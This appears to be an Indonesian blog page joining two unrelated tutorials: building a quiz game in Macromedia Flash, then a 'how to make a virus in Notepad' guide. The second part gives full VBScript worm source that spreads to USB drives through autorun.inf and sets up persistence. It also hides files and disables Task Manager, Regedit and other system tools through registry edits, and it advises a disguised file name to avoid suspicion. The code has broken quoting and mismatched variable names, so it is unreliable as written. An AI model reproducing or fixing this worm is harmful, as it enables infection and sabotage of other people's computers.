Cara Membuat Game di Macromedia Flash

pada kesempatan ini saya akan menerangkang atau memberikan suatu tutorial mengenai cara membuat sebuah game di macaromedia flash yaitu membuat sebuah game quizzzzzzzzz.
pertama-tama kita membuka aplikasi macromedia flash, lalu setelah itu pilih flash document,


setelah itu kita buat dulu backgroundnya dengan cara memasukannya langsung kedalam aplikasi macromedia flash (didrag). setelah itu ketiklah pertanyaan yang akan dibuat.
lalu masukan tombol button yaitu denagn cara pilih windows pada menu bar, pilih comon libraries, setelah itu pilih lah button yang anda inginkan, lalu pindahkan kedalam layar kerja (kertas kerja/ pada background) masukanlah 4 button untuk dijadikan sebagai pilihan untuk quiz yang kita buat. ganti nama button tersebut dengan cara duoble klik button tersebut lalu ganti namanya menjadi salah satu jawaban atau dengan cara double klik button tsb, lalu pilih layer text lalu ganti namanya. setelah itu lakuakn hal tsb pada button-button yang lain.

setelah itu berikan pada button untuk jawaban yang benar sebuah script, contoh:
on (rellease) {
gotoAndPlay (2)
}
tanda 2 adalah untuk tujuan menuju frame 2(frame animasi unutk jawaban benar)
dan untuk jawaban salah kita berikan script :
on (reallease) {
gotoAndPlay (3)
}
setelah ini selesai sekarang kita buat sebuah frame di frame 2 yang nantinya kita akan jadikan frame tersebut sebagai frame animasi untuk jawaban benar. untuk animasinya sendiri terserah kalian mau apa tapi jangan lupa untuk menambahkan sebuah button untuk melanjutkan quizzzzzzzz dengan sricpt yang tadi namun beda nomor framenya. lalu kita buat lagi frame di frame 3 untuk animasi jawaban salah. untuk animasinya sendiri terserah tapi jangan lupa untuk memberikan button lagi dengan scrpit yang tadi namun angka nya diganti menjadi 1 (kembali lagi).
untuk seterusnya sama saja namun untuk frame animasi jawaban yang benar anda harus membuat sesuai pertanyan yang anda buat, tapi untuk frame animasi jawaban yang salah cukup dibuat satu saja.

Cara Membuat Virus Dari Notepad

Mo buat virus..???
gampang kok....
Silahkan ketikkan kode script di bawah ini pada aplikasi Notepad..

//Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus//
on error resume next

//Dim kata-kata berikut ini//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

//Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information//
isi = [autorun] & vbcrlf & shellexecute=wscript.exe bLaCk_eNgInE.dll.vbs
set fs = createobject(Scripting.FileSystemObject)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

//Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & \batch- bLaCk_eNgInE.dll.vbs )
tf.attributes = 32
set tf=fs.createtextfile(windowpath & \batch- bLaCk_eNgInE.dll.vbs,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & \batch- bLaCk_eNgInE.dll.vbs )
tf.attributes = 39
//Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok//
Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
//Cek Drive//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> A: then

//Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\//
set tf=fs.getfile(flashdrive.path &\bLaCk_eNgInE.dll.vbs )
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &\bLaCk_eNgInE.dll.vbs ,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &\bLaCk_eNgInE.dll.vbs )
tf.attributes = 39

//Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)//
set tf =fs.getfile(flashdrive.path &\autorun.inf)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &\autorun.inf,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &\autorun.inf)
tf.attributes=39
end if
next

//Manipulasi Registry//

set qalby = createobject(WScript.Shell)

//Manip - Ubah Title Internet Explorer menjadi bLaCk_eNgInE//
kalong.regwrite HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title, THE KALONG v.s. ZAY

//Manip Set agar file hidden tidak ditampilkan di Explorer//
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\Advanced\Hidden, 0, REG_DWORD

//Manip Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager//
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoFind, 1, REG_DWORD
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoFolderOptions, 1, REG_DWORD
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoRun, 1, REG_DWORD
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableRegistryTools, 1, REG_DWORD
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableTaskMgr, 1, REG_DWORD

//Manip Disable klik kanan//
kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoViewContextMenu, 1, REG_DWORD

//Manip - Munculkan Pesan Setiap Windows Startup//
kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Winlogon\LegalNoticeCaption, Worm Qalby. Variant from Qalby, dont panic all data are safe.

//Manip Aktif setiap Windows Startup//
kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\Systemdir, windowpath & \batch- k4l0n6.dll.vbs

//Manip Ubah RegisteredOwner dan Organization//
kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, The Batrix
kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner,Qalby

//Nah kalau kode dibawah ini saya nggak tau//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(Wscript.shell)
sd.run windowpath & \explorer.exe /e,/select, & Wscript.ScriptFullname
Akhir dari Kode


Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih All Files (*.*). Simpan dengan nama : m0t0rku.dll.vbs. Sebenarnya gak usah pake .dll juga gak apa-apa.
Soalnya ini hanya usaha agar tidak mencurigakan aja...